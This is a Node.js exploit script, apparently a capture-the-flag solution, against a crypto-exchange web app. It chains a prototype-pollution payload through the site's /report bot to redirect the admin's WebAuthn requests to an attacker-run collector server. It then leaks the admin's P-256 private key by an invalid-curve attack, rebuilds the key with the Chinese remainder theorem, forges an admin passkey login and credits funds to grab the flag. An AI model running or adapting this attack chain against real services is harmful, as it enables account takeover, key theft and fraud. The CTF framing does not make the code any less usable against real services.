1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
|
const http = require('http');
const fs = require('fs');
const crypto = require('crypto');
const TARGET = "xch2.bit-raven.com";
const CALLBACK = "your.callback.domain";
const POINTS_FILE = `${__dirname}/points.json`;
const PORT = 80; // the port to listen on for the collector server
const HSM_RP_ID = 'xch2.bit-raven.com';
const P = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffffn;
const A = P - 3n;
const N = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551n;
function mod(a, m) { return ((a % m) + m) % m; }
function egcd(a, b) { if (b === 0n) return [a, 1n, 0n]; const [g, x, y] = egcd(b, mod(a, b)); return [g, y, x - (a / b) * y]; }
function modinv(a, m) { const [g, x] = egcd(mod(a, m), m); if (g !== 1n) throw new Error('no inverse'); return mod(x, m); }
function pointAdd(p1, p2) {
if (!p1) return p2;
if (!p2) return p1;
if (mod(p1.x - p2.x, P) === 0n && mod(p1.y + p2.y, P) === 0n) return null;
let lambda;
if (mod(p1.x - p2.x, P) === 0n && mod(p1.y - p2.y, P) === 0n) {
lambda = mod((3n * p1.x * p1.x + A) * modinv(mod(2n * p1.y, P), P), P);
} else {
lambda = mod((p2.y - p1.y) * modinv(mod(p2.x - p1.x, P), P), P);
}
const x3 = mod(lambda * lambda - p1.x - p2.x, P);
const y3 = mod(lambda * (p1.x - x3) - p1.y, P);
return { x: x3, y: y3 };
}
function hex32(n) { return n.toString(16).padStart(64, '0'); }
function hashPoint(pt) {
const buf = pt === null ? Buffer.from('inf') : Buffer.from(hex32(pt.x), 'hex');
return crypto.createHash('sha256').update(buf).digest('hex');
}
function b64url(buf) { return buf.toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); }
function b64urlDecode(s) { return Buffer.from(s.replace(/-/g, '+').replace(/_/g, '/'), 'base64'); }
function loadPoints() {
if (!fs.existsSync(POINTS_FILE)) {
console.error(`${POINTS_FILE} not found.`);
console.error('run `sage find_points.sage` first to generate it.');
process.exit(1);
}
return JSON.parse(fs.readFileSync(POINTS_FILE, 'utf8')).map(p => ({
l: BigInt(p.l),
x: BigInt('0x' + p.x),
y: BigInt('0x' + p.y),
}));
}
let pendingLeak = null;
let capturedSignature = null;
function startCollector() {
const server = http.createServer((req, res) => {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
if (req.method === 'OPTIONS') { res.statusCode = 204; res.end(); return; }
let body = '';
req.on('data', c => body += c);
req.on('end', () => {
const path = req.url.split('?')[0];
if (req.method === 'POST' && /^\/register_start\//.test(path)) {
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ publicKey: {
challenge: b64url(crypto.randomBytes(32)),
rp: { id: HSM_RP_ID, name: 'solver' },
user: { id: b64url(crypto.randomBytes(16)), name: 'x', displayName: 'x' },
pubKeyCredParams: [{ type: 'public-key', alg: -7 }],
timeout: 60000,
attestation: 'none',
} }));
} else if (req.method === 'POST' && path === '/register_finish') {
res.end('{}');
} else if (req.method === 'POST' && /^\/login_start\//.test(path)) {
const point = pendingLeak && pendingLeak.point;
const saltBytes = point ? Buffer.concat([Buffer.from(hex32(point.x), 'hex'), Buffer.from(hex32(point.y), 'hex')]) : null;
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ publicKey: {
challenge: b64url(crypto.randomBytes(32)),
rpId: HSM_RP_ID,
allowCredentials: [],
timeout: 60000,
userVerification: 'preferred',
extensions: saltBytes ? { prf: { eval: { first: b64url(saltBytes) } } } : undefined,
} }));
} else if (req.method === 'POST' && path === '/login_finish') {
try {
const cred = JSON.parse(body);
const leakHex = cred.response.userHandle ? b64urlDecode(cred.response.userHandle).toString('hex') : null;
if (!capturedSignature) {
capturedSignature = {
authenticatorData: b64urlDecode(cred.response.authenticatorData),
clientDataJSON: b64urlDecode(cred.response.clientDataJSON),
signature: b64urlDecode(cred.response.signature),
};
}
if (pendingLeak) { pendingLeak.resolve(leakHex); pendingLeak = null; }
} catch (e) {
console.error('could not parse login_finish body:', e.message);
if (pendingLeak) { pendingLeak.resolve(null); pendingLeak = null; }
}
res.end('{}');
} else {
res.statusCode = 404;
res.end();
}
});
});
return new Promise(resolve => server.listen(PORT, () => resolve(server)));
}
async function triggerReport() {
const settings = `{"__proto__":${JSON.stringify({ baseURL: CALLBACK })}}`;
const url = `${TARGET}/x?settings=${encodeURIComponent(settings)}`;
await fetch(`${TARGET}/report`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url }),
});
}
async function leakModulusFor(point) {
const leakHex = await new Promise(resolve => {
pendingLeak = { resolve, point };
triggerReport();
});
if (!leakHex) throw new Error(`no leak for l=${point.l}, is HSM_RP_ID correct, and is the backend's /report reachable?`);
let acc = null;
for (let k = 0n; k < point.l; k++) {
if (hashPoint(acc) === leakHex) return k;
acc = pointAdd(acc, point);
}
throw new Error(`brute force exhausted for l=${point.l} without a match`);
}
function parseDerSignature(buf) {
const BN = require('bn.js');
let offset = 0;
if (buf[offset++] !== 0x30) throw new Error('not a DER SEQUENCE');
offset++;
function readInt() {
if (buf[offset++] !== 0x02) throw new Error('expected DER INTEGER');
const len = buf[offset++];
const v = new BN(buf.slice(offset, offset + len));
offset += len;
return v;
}
return { r: readInt(), s: readInt() };
}
function findPrivateKeyOffline(residues, signature) {
const EC = require('elliptic').ec;
const BN = require('bn.js');
const ec = new EC('p256');
const clientDataHash = crypto.createHash('sha256').update(signature.clientDataJSON).digest();
const msgHash = crypto.createHash('sha256').update(Buffer.concat([signature.authenticatorData, clientDataHash])).digest();
const sig = parseDerSignature(signature.signature);
const m = residues.length;
for (let mask = 0; mask < (1 << m); mask++) {
const candidate = residues.map(({ l, r }, i) => ({ l, r: (mask >> i) & 1 ? mod(-r, l) : r }));
const { x: d } = crt(candidate);
const pub = ec.g.mul(new BN(d.toString(16), 16));
if (ec.keyFromPublic(pub).verify(msgHash, sig)) {
return { d, mask: mask.toString(2).padStart(m, '0') };
}
}
return null;
}
function crt(residues) {
let x = 0n, M = 1n;
for (const { l } of residues) M *= l;
for (const { l, r } of residues) {
const Mi = M / l;
x = mod(x + mod(r, l) * Mi * modinv(Mi, l), M);
}
return { x, M };
}
async function tryLoginAsAdmin(d) {
const EC = require('elliptic').ec;
const ec = new EC('p256');
const dHex = d.toString(16).padStart(64, '0');
const kp = ec.keyFromPrivate(dHex);
const startRes = await fetch(`${TARGET}/login_start/admin`, { method: 'POST' });
const { publicKey } = await startRes.json();
const setCookie = startRes.headers.get('set-cookie');
const sessionCookie = setCookie ? setCookie.split(';')[0] : '';
const credId = publicKey.allowCredentials[0].id;
const clientData = { type: 'webauthn.get', challenge: publicKey.challenge, origin: TARGET, crossOrigin: false };
const clientDataJSON = Buffer.from(JSON.stringify(clientData));
const clientDataHash = crypto.createHash('sha256').update(clientDataJSON).digest();
const rpIdHash = crypto.createHash('sha256').update(publicKey.rpId).digest();
const signCount = Buffer.alloc(4);
signCount.writeUInt32BE(Math.floor(Date.now() / 1000));
const authData = Buffer.concat([rpIdHash, Buffer.from([0x05]), signCount]);
const msgHash = crypto.createHash('sha256').update(Buffer.concat([authData, clientDataHash])).digest();
const sigDer = Buffer.from(kp.sign(msgHash).toDER());
const finishRes = await fetch(`${TARGET}/login_finish`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', Cookie: sessionCookie },
body: JSON.stringify({
id: credId, rawId: credId, type: 'public-key',
response: {
authenticatorData: b64url(authData),
clientDataJSON: b64url(clientDataJSON),
signature: b64url(sigDer),
userHandle: null,
},
clientExtensionResults: {},
}),
});
if (finishRes.status !== 200) return null;
return (finishRes.headers.get('set-cookie') || sessionCookie).split(';')[0];
}
async function cashOutAndGetFlag(cookie) {
const headers = { 'Content-Type': 'application/json', Cookie: cookie };
const me = await (await fetch(`${TARGET}/api/me`, { headers })).json();
console.error('/api/me ->', me);
if (!me.is_admin) throw new Error('not actually admin?');
await fetch(`${TARGET}/api/admin/add_funds`, {
method: 'POST', headers,
body: JSON.stringify({ target_username: 'admin', amount: '5000000' }),
});
const flagRes = await fetch(`${TARGET}/api/flag`, { method: 'POST', headers });
console.error('/api/flag ->', flagRes.status, await flagRes.json());
}
async function main() {
const points = loadPoints();
console.error(`loaded ${points.length} companion-curve points from ${POINTS_FILE}`);
const server = await startCollector();
console.error(`collector listening on :${PORT}, advertised as ${CALLBACK}`);
const residues = [];
for (const point of points) {
console.error(`leaking d mod ${point.l} ...`);
const r = await leakModulusFor(point);
residues.push({ l: point.l, r });
console.error(` -> d = +-${r} (mod ${point.l})`);
}
server.close();
const { M } = crt(residues.map(({ l, r }) => ({ l, r: 0n })));
if (M < N) console.error(`WARNING: product of moduli (${M}) < curve order (${N}), CRT result may be ambiguous beyond the sign flips`);
if (!capturedSignature) throw new Error('never captured a signature to check candidates against');
const found = findPrivateKeyOffline(residues, capturedSignature);
if (!found) throw new Error('no sign combination matched the captured signature,check points.json / HSM_RP_ID');
console.log('recovered admin private key:', found.d.toString(16));
console.error(`matched offline on sign mask ${found.mask}`);
const cookie = await tryLoginAsAdmin(found.d);
if (!cookie) throw new Error('offline-verified key did not log in,unexpected');
await cashOutAndGetFlag(cookie);
}
main().catch(e => { console.error('FAILED:', e.message); process.exit(1); });
|